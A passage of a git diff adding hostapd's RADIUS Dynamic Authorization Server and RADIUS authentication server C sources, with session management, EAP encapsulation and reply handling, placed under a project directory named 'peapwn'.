RADIUS_CODE_COA_REQUEST: + /* TODO */ + reply = radius_msg_new(RADIUS_CODE_COA_NAK, + hdr->identifier); + if (reply == NULL) + break; + + /* Unsupported Service */ + if (!radius_msg_add_attr_int32(reply, RADIUS_ATTR_ERROR_CAUSE, + 405)) { + radius_msg_free(reply); + reply = NULL; + break; + } + break; + default: + wpa_printf(MSG_DEBUG, "DAS: Unexpected RADIUS code %u in " + "packet from %s:%d", + hdr->code, abuf, from_port); + } + + if (reply) { + wpa_printf(MSG_DEBUG, "DAS: Reply to %s:%d", abuf, from_port); + + if (!radius_msg_add_attr_int32(reply, + RADIUS_ATTR_EVENT_TIMESTAMP, + now.sec)) { + wpa_printf(MSG_DEBUG, "DAS: Failed to add " + "Event-Timestamp attribute"); + } + + if (radius_msg_finish_das_resp(reply, das->shared_secret, + das->shared_secret_len, hdr) < + 0) { + wpa_printf(MSG_DEBUG, "DAS: Failed to add " + "Message-Authenticator attribute"); + } + + if (wpa_debug_level <= MSG_MSGDUMP) + radius_msg_dump(reply); + + rbuf = radius_msg_get_buf(reply); + res = sendto(das->sock, wpabuf_head(rbuf), + wpabuf_len(rbuf), 0, + (struct sockaddr *) &from.ss, fromlen); + if (res < 0) { + wpa_printf(MSG_ERROR, "DAS: sendto(to %s:%d): %s", + abuf, from_port, strerror(errno)); + } + } + +fail: + radius_msg_free(msg); + radius_msg_free(reply); +} + + +static int radius_das_open_socket(int port) +{ + int s; + struct sockaddr_in addr; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + wpa_printf(MSG_INFO, "RADIUS DAS: socket: %s", strerror(errno)); + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + if (bind(s, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "RADIUS DAS: bind: %s", strerror(errno)); + close(s); + return -1; + } + + return s; +} + + +struct radius_das_data * +radius_das_init(struct radius_das_conf *conf) +{ + struct radius_das_data *das; + + if (conf->port == 0 || conf->shared_secret == NULL || + conf->client_addr == NULL) + return NULL; + + das = os_zalloc(sizeof(*das)); + if (das == NULL) + return NULL; + + das->time_window = conf->time_window; + das->require_event_timestamp = conf->require_event_timestamp; + das->ctx = conf->ctx; + das->disconnect = conf->disconnect; + + os_memcpy(&das->client_addr, conf->client_addr, + sizeof(das->client_addr)); + + das->shared_secret = os_malloc(conf->shared_secret_len); + if (das->shared_secret == NULL) { + radius_das_deinit(das); + return NULL; + } + os_memcpy(das->shared_secret, conf->shared_secret, + conf->shared_secret_len); + das->shared_secret_len = conf->shared_secret_len; + + das->sock = radius_das_open_socket(conf->port); + if (das->sock < 0) { + wpa_printf(MSG_ERROR, "Failed to open UDP socket for RADIUS " + "DAS"); + radius_das_deinit(das); + return NULL; + } + + if (eloop_register_read_sock(das->sock, radius_das_receive, das, NULL)) + { + radius_das_deinit(das); + return NULL; + } + + return das; +} + + +void radius_das_deinit(struct radius_das_data *das) +{ + if (das == NULL) + return; + + if (das->sock >= 0) { + eloop_unregister_read_sock(das->sock); + close(das->sock); + } + + os_free(das->shared_secret); + os_free(das); +} diff --git a/peapwn/mods/hostap/src/radius/radius_das.h b/peapwn/mods/hostap/src/radius/radius_das.h new file mode 100644 index 000000000..738b18b05 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_das.h @@ -0,0 +1,47 @@ +/* + * RADIUS Dynamic Authorization Server (DAS) + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RADIUS_DAS_H +#define RADIUS_DAS_H + +struct radius_das_data; + +enum radius_das_res { + RADIUS_DAS_SUCCESS, + RADIUS_DAS_NAS_MISMATCH, + RADIUS_DAS_SESSION_NOT_FOUND +}; + +struct radius_das_attrs { + const u8 *sta_addr; + const u8 *user_name; + size_t user_name_len; + const u8 *acct_session_id; + size_t acct_session_id_len; + const u8 *cui; + size_t cui_len; +}; + +struct radius_das_conf { + int port; + const u8 *shared_secret; + size_t shared_secret_len; + const struct hostapd_ip_addr *client_addr; + unsigned int time_window; + int require_event_timestamp; + void *ctx; + enum radius_das_res (*disconnect)(void *ctx, + struct radius_das_attrs *attr); +}; + +struct radius_das_data * +radius_das_init(struct radius_das_conf *conf); + +void radius_das_deinit(struct radius_das_data *data); + +#endif /* RADIUS_DAS_H */ diff --git a/peapwn/mods/hostap/src/radius/radius_server.c b/peapwn/mods/hostap/src/radius/radius_server.c new file mode 100644 index 000000000..fe197704d --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_server.c @@ -0,0 +1,1557 @@ +/* + * RADIUS authentication server + * Copyright (c) 2005-2009, 2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "radius.h" +#include "eloop.h" +#include "eap_server/eap.h" +#include "radius_server.h" + +/** + * RADIUS_SESSION_TIMEOUT - Session timeout in seconds + */ +#define RADIUS_SESSION_TIMEOUT 60 + +/** + * RADIUS_MAX_SESSION - Maximum number of active sessions + */ +#define RADIUS_MAX_SESSION 100 + +/** + * RADIUS_MAX_MSG_LEN - Maximum message length for incoming RADIUS messages + */ +#define RADIUS_MAX_MSG_LEN 3000 + +static struct eapol_callbacks radius_server_eapol_cb; + +struct radius_client; +struct radius_server_data; + +/** + * struct radius_server_counters - RADIUS server statistics counters + */ +struct radius_server_counters { + u32 access_requests; + u32 invalid_requests; + u32 dup_access_requests; + u32 access_accepts; + u32 access_rejects; + u32 access_challenges; + u32 malformed_access_requests; + u32 bad_authenticators; + u32 packets_dropped; + u32 unknown_types; +}; + +/** + * struct radius_session - Internal RADIUS server data for a session + */ +struct radius_session { + struct radius_session *next; + struct radius_client *client; + struct radius_server_data *server; + unsigned int sess_id; + struct eap_sm *eap; + struct eap_eapol_interface *eap_if; + + struct radius_msg *last_msg; + char *last_from_addr; + int last_from_port; + struct sockaddr_storage last_from; + socklen_t last_fromlen; + u8 last_identifier; + struct radius_msg *last_reply; + u8 last_authenticator[16]; +}; + +/** + * struct radius_client - Internal RADIUS server data for a client + */ +struct radius_client { + struct radius_client *next; + struct in_addr addr; + struct in_addr mask; +#ifdef CONFIG_IPV6 + struct in6_addr addr6; + struct in6_addr mask6; +#endif /* CONFIG_IPV6 */ + char *shared_secret; + int shared_secret_len; + struct radius_session *sessions; + struct radius_server_counters counters; +}; + +/** + * struct radius_server_data - Internal RADIUS server data + */ +struct radius_server_data { + /** + * auth_sock - Socket for RADIUS authentication messages + */ + int auth_sock; + + /** + * clients - List of authorized RADIUS clients + */ + struct radius_client *clients; + + /** + * next_sess_id - Next session identifier + */ + unsigned int next_sess_id; + + /** + * conf_ctx - Context pointer for callbacks + * + * This is used as the ctx argument in get_eap_user() calls. + */ + void *conf_ctx; + + /** + * num_sess - Number of active sessions + */ + int num_sess; + + /** + * eap_sim_db_priv - EAP-SIM/AKA database context + * + * This is passed to the EAP-SIM/AKA server implementation as a + * callback context. + */ + void *eap_sim_db_priv; + + /** + * ssl_ctx - TLS context + * + * This is passed to the EAP server implementation as a callback + * context for TLS operations. + */ + void *ssl_ctx; + + /** + * pac_opaque_encr_key - PAC-Opaque encryption key for EAP-FAST + * + * This parameter is used to set a key for EAP-FAST to encrypt the + * PAC-Opaque data. It can be set to %NULL if EAP-FAST is not used. If + * set, must point to a 16-octet key. + */ + u8 *pac_opaque_encr_key; + + /** + * eap_fast_a_id - EAP-FAST authority identity (A-ID) + * + * If EAP-FAST is not used, this can be set to %NULL. In theory, this + * is a variable length field, but due to some existing implementations + * requiring A-ID to be 16 octets in length, it is recommended to use + * that length for the field to provide interoperability with deployed + * peer implementations. + */ + u8 *eap_fast_a_id; + + /** + * eap_fast_a_id_len - Length of eap_fast_a_id buffer in octets + */ + size_t eap_fast_a_id_len; + + /** + * eap_fast_a_id_info - EAP-FAST authority identifier information + * + * This A-ID-Info contains a user-friendly name for the A-ID. For + * example, this could be the enterprise and server names in + * human-readable format. This field is encoded as UTF-8. If EAP-FAST + * is not used, this can be set to %NULL. + */ + char *eap_fast_a_id_info; + + /** + * eap_fast_prov - EAP-FAST provisioning modes + * + * 0 = provisioning disabled, 1 = only anonymous provisioning allowed, + * 2 = only authenticated provisioning allowed, 3 = both provisioning + * modes allowed. + */ + int eap_fast_prov; + + /** + * pac_key_lifetime - EAP-FAST PAC-Key lifetime in seconds + * + * This is the hard limit on how long a provisioned PAC-Key can be + * used. + */ + int pac_key_lifetime; + + /** + * pac_key_refresh_time - EAP-FAST PAC-Key refresh time in seconds + * + * This is a soft limit on the PAC-Key. The server will automatically + * generate a new PAC-Key when this number of seconds (or fewer) of the + * lifetime remains. + */ + int pac_key_refresh_time; + + /** + * eap_sim_aka_result_ind - EAP-SIM/AKA protected success indication + * + * This controls whether the protected success/failure indication + * (AT_RESULT_IND) is used with EAP-SIM and EAP-AKA. + */ + int eap_sim_aka_result_ind; + + /** + * tnc - Trusted Network Connect (TNC) + * + * This controls whether TNC is enabled and will be required before the + * peer is allowed to connect. Note: This is only used with EAP-TTLS + * and EAP-FAST. If any other EAP method is enabled, the peer will be + * allowed to connect without TNC. + */ + int tnc; + + /** + * pwd_group - The D-H group assigned for EAP-pwd + * + * If EAP-pwd is not used it can be set to zero. + */ + u16 pwd_group; + + /** + * server_id - Server identity + */ + const char *server_id; + + /** + * wps - Wi-Fi Protected Setup context + * + * If WPS is used with an external RADIUS server (which is quite + * unlikely configuration), this is used to provide a pointer to WPS + * context data. Normally, this can be set to %NULL. + */ + struct wps_context *wps; + + /** + * ipv6 - Whether to enable IPv6 support in the RADIUS server + */ + int ipv6; + + /** + * start_time - Timestamp of server start + */ + struct os_time start_time; + + /** + * counters - Statistics counters for server operations + * + * These counters are the sum over all clients. + */ + struct radius_server_counters counters; + + /** + * get_eap_user - Callback for fetching EAP user information + * @ctx: Context data from conf_ctx + * @identity: User identity + * @identity_len: identity buffer length in octets + * @phase2: Whether this is for Phase 2 identity + * @user: Data structure for filling in the user information + * Returns: 0 on success, -1 on failure + * + * This is used to fetch information from user database. The callback + * will fill in information about allowed EAP methods and the user + * password. The password field will be an allocated copy of the + * password data and RADIUS server will free it after use. + */ + int (*get_eap_user)(void *ctx, const u8 *identity, size_t identity_len, + int phase2, struct eap_user *user); + + /** + * eap_req_id_text - Optional data for EAP-Request/Identity + * + * This can be used to configure an optional, displayable message that + * will be sent in EAP-Request/Identity. This string can contain an + * ASCII-0 character (nul) to separate network infromation per RFC + * 4284. The actual string length is explicit provided in + * eap_req_id_text_len since nul character will not be used as a string + * terminator. + */ + char *eap_req_id_text; + + /** + * eap_req_id_text_len - Length of eap_req_id_text buffer in octets + */ + size_t eap_req_id_text_len; + + /* + * msg_ctx - Context data for wpa_msg() calls + */ + void *msg_ctx; + +#ifdef CONFIG_RADIUS_TEST + char *dump_msk_file; +#endif /* CONFIG_RADIUS_TEST */ +}; + + +extern int wpa_debug_level; + +#define RADIUS_DEBUG(args...) \ +wpa_printf(MSG_DEBUG, "RADIUS SRV: " args) +#define RADIUS_ERROR(args...) \ +wpa_printf(MSG_ERROR, "RADIUS SRV: " args) +#define RADIUS_DUMP(args...) \ +wpa_hexdump(MSG_MSGDUMP, "RADIUS SRV: " args) +#define RADIUS_DUMP_ASCII(args...) \ +wpa_hexdump_ascii(MSG_MSGDUMP, "RADIUS SRV: " args) + + +static void radius_server_session_timeout(void *eloop_ctx, void *timeout_ctx); +static void radius_server_session_remove_timeout(void *eloop_ctx, + void *timeout_ctx); + + +static struct radius_client * +radius_server_get_client(struct radius_server_data *data, struct in_addr *addr, + int ipv6) +{ + struct radius_client *client = data->clients; + + while (client) { +#ifdef CONFIG_IPV6 + if (ipv6) { + struct in6_addr *addr6; + int i; + + addr6 = (struct in6_addr *) addr; + for (i = 0; i < 16; i++) { + if ((addr6->s6_addr[i] & + client->mask6.s6_addr[i]) != + (client->addr6.s6_addr[i] & + client->mask6.s6_addr[i])) { + i = 17; + break; + } + } + if (i == 16) { + break; + } + } +#endif /* CONFIG_IPV6 */ + if (!ipv6 && (client->addr.s_addr & client->mask.s_addr) == + (addr->s_addr & client->mask.s_addr)) { + break; + } + + client = client->next; + } + + return client; +} + + +static struct radius_session * +radius_server_get_session(struct radius_client *client, unsigned int sess_id) +{ + struct radius_session *sess = client->sessions; + + while (sess) { + if (sess->sess_id == sess_id) { + break; + } + sess = sess->next; + } + + return sess; +} + + +static void radius_server_session_free(struct radius_server_data *data, + struct radius_session *sess) +{ + eloop_cancel_timeout(radius_server_session_timeout, data, sess); + eloop_cancel_timeout(radius_server_session_remove_timeout, data, sess); + eap_server_sm_deinit(sess->eap); + radius_msg_free(sess->last_msg); + os_free(sess->last_from_addr); + radius_msg_free(sess->last_reply); + os_free(sess); + data->num_sess--; +} + + +static void radius_server_session_remove(struct radius_server_data *data, + struct radius_session *sess) +{ + struct radius_client *client = sess->client; + struct radius_session *session, *prev; + + eloop_cancel_timeout(radius_server_session_remove_timeout, data, sess); + + prev = NULL; + session = client->sessions; + while (session) { + if (session == sess) { + if (prev == NULL) { + client->sessions = sess->next; + } else { + prev->next = sess->next; + } + radius_server_session_free(data, sess); + break; + } + prev = session; + session = session->next; + } +} + + +static void radius_server_session_remove_timeout(void *eloop_ctx, + void *timeout_ctx) +{ + struct radius_server_data *data = eloop_ctx; + struct radius_session *sess = timeout_ctx; + RADIUS_DEBUG("Removing completed session 0x%x", sess->sess_id); + radius_server_session_remove(data, sess); +} + + +static void radius_server_session_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct radius_server_data *data = eloop_ctx; + struct radius_session *sess = timeout_ctx; + + RADIUS_DEBUG("Timing out authentication session 0x%x", sess->sess_id); + radius_server_session_remove(data, sess); +} + + +static struct radius_session * +radius_server_new_session(struct radius_server_data *data, + struct radius_client *client) +{ + struct radius_session *sess; + + if (data->num_sess >= RADIUS_MAX_SESSION) { + RADIUS_DEBUG("Maximum number of existing session - no room " + "for a new session"); + return NULL; + } + + sess = os_zalloc(sizeof(*sess)); + if (sess == NULL) + return NULL; + + sess->server = data; + sess->client = client; + sess->sess_id = data->next_sess_id++; + sess->next = client->sessions; + client->sessions = sess; + eloop_register_timeout(RADIUS_SESSION_TIMEOUT, 0, + radius_server_session_timeout, data, sess); + data->num_sess++; + return sess; +} + + +static struct radius_session * +radius_server_get_new_session(struct radius_server_data *data, + struct radius_client *client, + struct radius_msg *msg) +{ + u8 *user; + size_t user_len; + int res; + struct radius_session *sess; + struct eap_config eap_conf; + + RADIUS_DEBUG("Creating a new session"); + + user = os_malloc(256); + if (user == NULL) { + return NULL; + } + res = radius_msg_get_attr(msg, RADIUS_ATTR_USER_NAME, user, 256); + if (res < 0 || res > 256) { + RADIUS_DEBUG("Could not get User-Name"); + os_free(user); + return NULL; + } + user_len = res; + RADIUS_DUMP_ASCII("User-Name", user, user_len); + + res = data->get_eap_user(data->conf_ctx, user, user_len, 0, NULL); + os_free(user); + + if (res == 0) { + RADIUS_DEBUG("Matching user entry found"); + sess = radius_server_new_session(data, client); + if (sess == NULL) { + RADIUS_DEBUG("Failed to create a new session"); + return NULL; + } + } else { + RADIUS_DEBUG("User-Name not found from user database"); + return NULL; + } + + os_memset(&eap_conf, 0, sizeof(eap_conf)); + eap_conf.ssl_ctx = data->ssl_ctx; + eap_conf.msg_ctx = data->msg_ctx; + eap_conf.eap_sim_db_priv = data->eap_sim_db_priv; + eap_conf.backend_auth = TRUE; + eap_conf.eap_server = 1; + eap_conf.pac_opaque_encr_key = data->pac_opaque_encr_key; + eap_conf.eap_fast_a_id = data->eap_fast_a_id; + eap_conf.eap_fast_a_id_len = data->eap_fast_a_id_len; + eap_conf.eap_fast_a_id_info = data->eap_fast_a_id_info; + eap_conf.eap_fast_prov = data->eap_fast_prov; + eap_conf.pac_key_lifetime = data->pac_key_lifetime; + eap_conf.pac_key_refresh_time = data->pac_key_refresh_time; + eap_conf.eap_sim_aka_result_ind = data->eap_sim_aka_result_ind; + eap_conf.tnc = data->tnc; + eap_conf.wps = data->wps; + eap_conf.pwd_group = data->pwd_group; + eap_conf.server_id = (const u8 *) data->server_id; + eap_conf.server_id_len = os_strlen(data->server_id); + sess->eap = eap_server_sm_init(sess, &radius_server_eapol_cb, + &eap_conf); + if (sess->eap == NULL) { + RADIUS_DEBUG("Failed to initialize EAP state machine for the " + "new session"); + radius_server_session_free(data, sess); + return NULL; + } + sess->eap_if = eap_get_interface(sess->eap); + sess->eap_if->eapRestart = TRUE; + sess->eap_if->portEnabled = TRUE; + + RADIUS_DEBUG("New session 0x%x initialized", sess->sess_id); + + return sess; +} + + +static struct radius_msg * +radius_server_encapsulate_eap(struct radius_server_data *data, + struct radius_client *client, + struct radius_session *sess, + struct radius_msg *request) +{ + struct radius_msg *msg; + int code; + unsigned int sess_id; + struct radius_hdr *hdr = radius_msg_get_hdr(request); + + if (sess->eap_if->eapFail) { + sess->eap_if->eapFail = FALSE; + code = RADIUS_CODE_ACCESS_REJECT; + } else if (sess->eap_if->eapSuccess) { + sess->eap_if->eapSuccess = FALSE; + code = RADIUS_CODE_ACCESS_ACCEPT; + } else { + sess->eap_if->eapReq = FALSE; + code = RADIUS_CODE_ACCESS_CHALLENGE; + } + + msg = radius_msg_new(code, hdr->identifier); + if (msg == NULL) { + RADIUS_DEBUG("Failed to allocate reply message"); + return NULL; + } + + sess_id = htonl(sess->sess_id); + if (code == RADIUS_CODE_ACCESS_CHALLENGE && + !radius_msg_add_attr(msg, RADIUS_ATTR_STATE, + (u8 *) &sess_id, sizeof(sess_id))) { + RADIUS_DEBUG("Failed to add State attribute"); + } + + if (sess->eap_if->eapReqData && + !radius_msg_add_eap(msg, wpabuf_head(sess->eap_if->eapReqData), + wpabuf_len(sess->eap_if->eapReqData))) { + RADIUS_DEBUG("Failed to add EAP-Message attribute"); + } + + if (code == RADIUS_CODE_ACCESS_ACCEPT && sess->eap_if->eapKeyData) { + int len; +#ifdef CONFIG_RADIUS_TEST + if (data->dump_msk_file) { + FILE *f; + char buf[2 * 64 + 1]; + f = fopen(data->dump_msk_file, "a"); + if (f) { + len = sess->eap_if->eapKeyDataLen; + if (len > 64) + len = 64; + len = wpa_snprintf_hex( + buf, sizeof(buf), + sess->eap_if->eapKeyData, len); + buf[len] = '\0'; + fprintf(f, "%s\n", buf); + fclose(f); + } + } +#endif /* CONFIG_RADIUS_TEST */ + if (sess->eap_if->eapKeyDataLen > 64) { + len = 32; + } else { + len = sess->eap_if->eapKeyDataLen / 2; + } + if (!radius_msg_add_mppe_keys(msg, hdr->authenticator, + (u8 *) client->shared_secret, + client->shared_secret_len, + sess->eap_if->eapKeyData + len, + len, sess->eap_if->eapKeyData, + len)) { + RADIUS_DEBUG("Failed to add MPPE key attributes"); + } + } + + if (radius_msg_copy_attr(msg, request, RADIUS_ATTR_PROXY_STATE) < 0) { + RADIUS_DEBUG("Failed to copy Proxy-State attribute(s)"); + radius_msg_free(msg); + return NULL; + } + + if (radius_msg_finish_srv(msg, (u8 *) client->shared_secret, + client->shared_secret_len, + hdr->authenticator) < 0) { + RADIUS_DEBUG("Failed to add Message-Authenticator attribute"); + } + + return msg; +} + + +static int radius_server_reject(struct radius_server_data *data, + struct radius_client *client, + struct radius_msg *request, + struct sockaddr *from, socklen_t fromlen, + const char *from_addr, int from_port) +{ + struct radius_msg *msg; + int ret = 0; + struct eap_hdr eapfail; + struct wpabuf *buf; + struct radius_hdr *hdr = radius_msg_get_hdr(request); + + RADIUS_DEBUG("Reject invalid request from %s:%d", + from_addr, from_port); + + msg = radius_msg_new(RADIUS_CODE_ACCESS_REJECT, hdr->identifier); + if (msg == NULL) { + return -1; + } + + os_memset(&eapfail, 0, sizeof(eapfail)); + eapfail.code = EAP_CODE_FAILURE; + eapfail.identifier = 0; + eapfail.length = host_to_be16(sizeof(eapfail)); + + if (!radius_msg_add_eap(msg, (u8 *) &eapfail, sizeof(eapfail))) { + RADIUS_DEBUG("Failed to add EAP-Message attribute"); + } + + if (radius_msg_copy_attr(msg, request, RADIUS_ATTR_PROXY_STATE) < 0) { + RADIUS_DEBUG("Failed to copy Proxy-State attribute(s)"); + radius_msg_free(msg); + return -1; + } + + if (radius_msg_finish_srv(msg, (u8 *) client->shared_secret, + client->shared_secret_len, + hdr->authenticator) < + 0) { + RADIUS_DEBUG("Failed to add Message-Authenticator attribute"); + } + + if (wpa_debug_level <= MSG_MSGDUMP) { + radius_msg_dump(msg); + } + + data->counters.access_rejects++; + client->counters.access_rejects++; + buf = radius_msg_get_buf(msg); + if (sendto(data->auth_sock, wpabuf_head(buf), wpabuf_len(buf), 0, + (struct sockaddr *) from, sizeof(*from)) < 0) { + wpa_printf(MSG_INFO, "sendto[RADIUS SRV]: %s", strerror(errno)); + ret = -1; + } + + radius_msg_free(msg); + + return ret; +} + + +static int radius_server_request(struct radius_server_data *data, + struct radius_msg *msg, + struct sockaddr *from, socklen_t fromlen, + struct radius_client *client, + const char *from_addr, int from_port, + struct radius_session *force_sess) +{ + struct wpabuf *eap = NULL; + int res, state_included = 0; + u8 statebuf[4]; + unsigned int state; + struct radius_session *sess; + struct radius_msg *reply; + int is_complete = 0; + + if (force_sess) + sess = force_sess; + else { + res = radius_msg_get_attr(msg, RADIUS_ATTR_STATE, statebuf, + sizeof(statebuf)); + state_included = res >= 0; + if (res == sizeof(statebuf)) { + state = WPA_GET_BE32(statebuf); + sess = radius_server_get_session(client, state); + } else { + sess = NULL; + } + } + + if (sess) { + RADIUS_DEBUG("Request for session 0x%x", sess->sess_id); + } else if (state_included) { + RADIUS_DEBUG("State attribute included but no session found"); + radius_server_reject(data, client, msg, from, fromlen, + from_addr, from_port); + return -1; + } else { + sess = radius_server_get_new_session(data, client, msg); + if (sess == NULL) { + RADIUS_DEBUG("Could not create a new session"); + radius_server_reject(data, client, msg, from, fromlen, + from_addr, from_port); + return -1; + } + } + + if (sess->last_from_port == from_port && + sess->last_identifier == radius_msg_get_hdr(msg)->identifier && + os_memcmp(sess->last_authenticator, + radius_msg_get_hdr(msg)->authenticator, 16) == 0) { + RADIUS_DEBUG("Duplicate message from %s", from_addr); + data->counters.dup_access_requests++; + client->counters.dup_access_requests++; + + if (sess->last_reply) { + struct wpabuf *buf; + buf = radius_msg_get_buf(sess->last_reply); + res = sendto(data->auth_sock, wpabuf_head(buf), + wpabuf_len(buf), 0, + (struct sockaddr *) from, fromlen); + if (res < 0) { + wpa_printf(MSG_INFO, "sendto[RADIUS SRV]: %s", + strerror(errno)); + } + return 0; + } + + RADIUS_DEBUG("No previous reply available for duplicate " + "message"); + return -1; + } + + eap = radius_msg_get_eap(msg); + if (eap == NULL) { + RADIUS_DEBUG("No EAP-Message in RADIUS packet from %s", + from_addr); + data->counters.packets_dropped++; + client->counters.packets_dropped++; + return -1; + } + + RADIUS_DUMP("Received EAP data", wpabuf_head(eap), wpabuf_len(eap)); + + /* FIX: if Code is Request, Success, or Failure, send Access-Reject; + * RFC3579 Sect. 2.6.2. + * Include EAP-Response/Nak with no preferred method if + * code == request. + * If code is not 1-4, discard the packet silently. + * Or is this already done by the EAP state machine? */ + + wpabuf_free(sess->eap_if->eapRespData); + sess->eap_if->eapRespData = eap; + sess->eap_if->eapResp = TRUE; + eap_server_sm_step(sess->eap); + + if ((sess->eap_if->eapReq || sess->eap_if->eapSuccess || + sess->eap_if->eapFail) && sess->eap_if->eapReqData) { + RADIUS_DUMP("EAP data from the state machine", + wpabuf_head(sess->eap_if->eapReqData), + wpabuf_len(sess->eap_if->eapReqData)); + } else if (sess->eap_if->eapFail) { + RADIUS_DEBUG("No EAP data from the state machine, but eapFail " + "set"); + } else if (eap_sm_method_pending(sess->eap)) { + radius_msg_free(sess->last_msg); + sess->last_msg = msg; + sess->last_from_port = from_port; + os_free(sess->last_from_addr); + sess->last_from_addr = os_strdup(from_addr); + sess->last_fromlen = fromlen; + os_memcpy(&sess->last_from, from, fromlen); + return -2; + } else { + RADIUS_DEBUG("No EAP data from the state machine - ignore this" + " Access-Request silently (assuming it was a " + "duplicate)"); + data->counters.packets_dropped++; + client->counters.packets_dropped++; + return -1; + } + + if (sess->eap_if->eapSuccess || sess->eap_if->eapFail) + is_complete = 1; + + reply = radius_server_encapsulate_eap(data, client, sess, msg); + + if (reply) { + struct wpabuf *buf; + struct radius_hdr *hdr; + + RADIUS_DEBUG("Reply to %s:%d", from_addr, from_port); + if (wpa_debug_level <= MSG_MSGDUMP) { + radius_msg_dump(reply); + } + + switch (radius_msg_get_hdr(reply)->code) { + case RADIUS_CODE_ACCESS_ACCEPT: + data->counters.access_accepts++; + client->counters.access_accepts++; + break; + case RADIUS_CODE_ACCESS_REJECT: + data->counters.access_rejects++; + client->counters.access_rejects++; + break; + case RADIUS_CODE_ACCESS_CHALLENGE: + data->counters.access_challenges++; + client->counters.access_challenges++; + break; + } + buf = radius_msg_get_buf(reply); + res = sendto(data->auth_sock, wpabuf_head(buf), + wpabuf_len(buf), 0, + (struct sockaddr *) from, fromlen); + if (res < 0) { + wpa_printf(MSG_INFO, "sendto[RADIUS SRV]: %s", + strerror(errno)); + } + radius_msg_free(sess->last_reply); + sess->last_reply = reply; + sess->last_from_port = from_port; + hdr = radius_msg_get_hdr(msg); + sess->last_identifier = hdr->identifier; + os_memcpy(sess->last_authenticator, hdr->authenticator, 16); + } else { + data->counters.packets_dropped++; + client->counters.packets_dropped++; + } + + if (is_complete) { + RADIUS_DEBUG("Removing completed session 0x%x after timeout", + sess->sess_id); + eloop_cancel_timeout(radius_server_session_remove_timeout, + data, sess); + eloop_register_timeout(10, 0, + radius_server_session_remove_timeout, + data, sess); + } + + return 0; +} + + +static void radius_server_receive_auth(int sock, void *eloop_ctx, + void *sock_ctx) +{ + struct radius_server_data *data = eloop_ctx; + u8 *buf = NULL; + union { + struct sockaddr_storage ss; + struct sockaddr_in sin; +#ifdef CONFIG_IPV6 + struct sockaddr_in6 sin6; +#endif /* CONFIG_IPV6 */ + } from; + socklen_t fromlen; + int len; + struct radius_client *client = NULL; + struct radius_msg *msg = NULL; + char abuf[50]; + int from_port = 0; + + buf = os_malloc(RADIUS_MAX_MSG_LEN); + if (buf == NULL) { + goto fail; + } + + fromlen = sizeof(from); + len = recvfrom(sock, buf, RADIUS_MAX_MSG_LEN, 0, + (struct sockaddr *) &from.ss, &fromlen); + if (len < 0) { + wpa_printf(MSG_INFO, "recvfrom[radius_server]: %s", + strerror(errno)); + goto fail; + } + +#ifdef CONFIG_IPV6 + if (data->ipv6) { + if (inet_ntop(AF_INET6, &from.sin6.sin6_addr, abuf, + sizeof(abuf)) == NULL) + abuf[0] = '\0'; + from_port = ntohs(from.sin6.sin6_port); + RADIUS_DEBUG("Received %d bytes from %s:%d", + len, abuf, from_port); + + client = radius_server_get_client(data, + (struct in_addr *) + &from.sin6.sin6_addr, 1); + } +#endif /* CONFIG_IPV6 */ + + if (!data->ipv6) { + os_strlcpy(abuf, inet_ntoa(from.sin.sin_addr), sizeof(abuf)); + from_port = ntohs(from.sin.sin_port); + RADIUS_DEBUG("Received %d bytes from %s:%d", + len, abuf, from_port); + + client = radius_server_get_client(data, &from.sin.sin_addr, 0); + } + + RADIUS_DUMP("Received data", buf, len); + + if (client == NULL) { + RADIUS_DEBUG("Unknown client %s - packet ignored", abuf); + data->counters.invalid_requests++; + goto fail; + } + + msg = radius_msg_parse(buf, len); + if (msg == NULL) { + RADIUS_DEBUG("Parsing incoming RADIUS frame failed"); + data->counters.malformed_access_requests++; + client->counters.malformed_access_requests++; + goto fail; + } + + os_free(buf); + buf = NULL; + + if (wpa_debug_level <= MSG_MSGDUMP) { + radius_msg_dump(msg); + } + + if (radius_msg_get_hdr(msg)->code != RADIUS_CODE_ACCESS_REQUEST) { + RADIUS_DEBUG("Unexpected RADIUS code %d", + radius_msg_get_hdr(msg)->code); + data->counters.unknown_types++; + client->counters.unknown_types++; + goto fail; + } + + data->counters.access_requests++; + client->counters.access_requests++; + + if (radius_msg_verify_msg_auth(msg, (u8 *) client->shared_secret, + client->shared_secret_len, NULL)) { + RADIUS_DEBUG("Invalid Message-Authenticator from %s", abuf); + data->counters.bad_authenticators++; + client->counters.bad_authenticators++; + goto fail; + } + + if (radius_server_request(data, msg, (struct sockaddr *) &from, + fromlen, client, abuf, from_port, NULL) == + -2) + return; /* msg was stored with the session */ + +fail: + radius_msg_free(msg); + os_free(buf); +} + + +static int radius_server_disable_pmtu_discovery(int s) +{ + int r = -1; +#if defined(IP_MTU_DISCOVER) && defined(IP_PMTUDISC_DONT) + /* Turn off Path MTU discovery on IPv4/UDP sockets. */ + int action = IP_PMTUDISC_DONT; + r = setsockopt(s, IPPROTO_IP, IP_MTU_DISCOVER, &action, + sizeof(action)); + if (r == -1) + wpa_printf(MSG_ERROR, "Failed to set IP_MTU_DISCOVER: " + "%s", strerror(errno)); +#endif + return r; +} + + +static int radius_server_open_socket(int port) +{ + int s; + struct sockaddr_in addr; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + wpa_printf(MSG_INFO, "RADIUS: socket: %s", strerror(errno)); + return -1; + } + + radius_server_disable_pmtu_discovery(s); + + os_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + if (bind(s, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "RADIUS: bind: %s", strerror(errno)); + close(s); + return -1; + } + + return s; +} + + +#ifdef CONFIG_IPV6 +static int radius_server_open_socket6(int port) +{ + int s; + struct sockaddr_in6 addr; + + s = socket(PF_INET6, SOCK_DGRAM, 0); + if (s < 0) { + wpa_printf(MSG_INFO, "RADIUS: socket[IPv6]: %s", + strerror(errno)); + return -1; + } 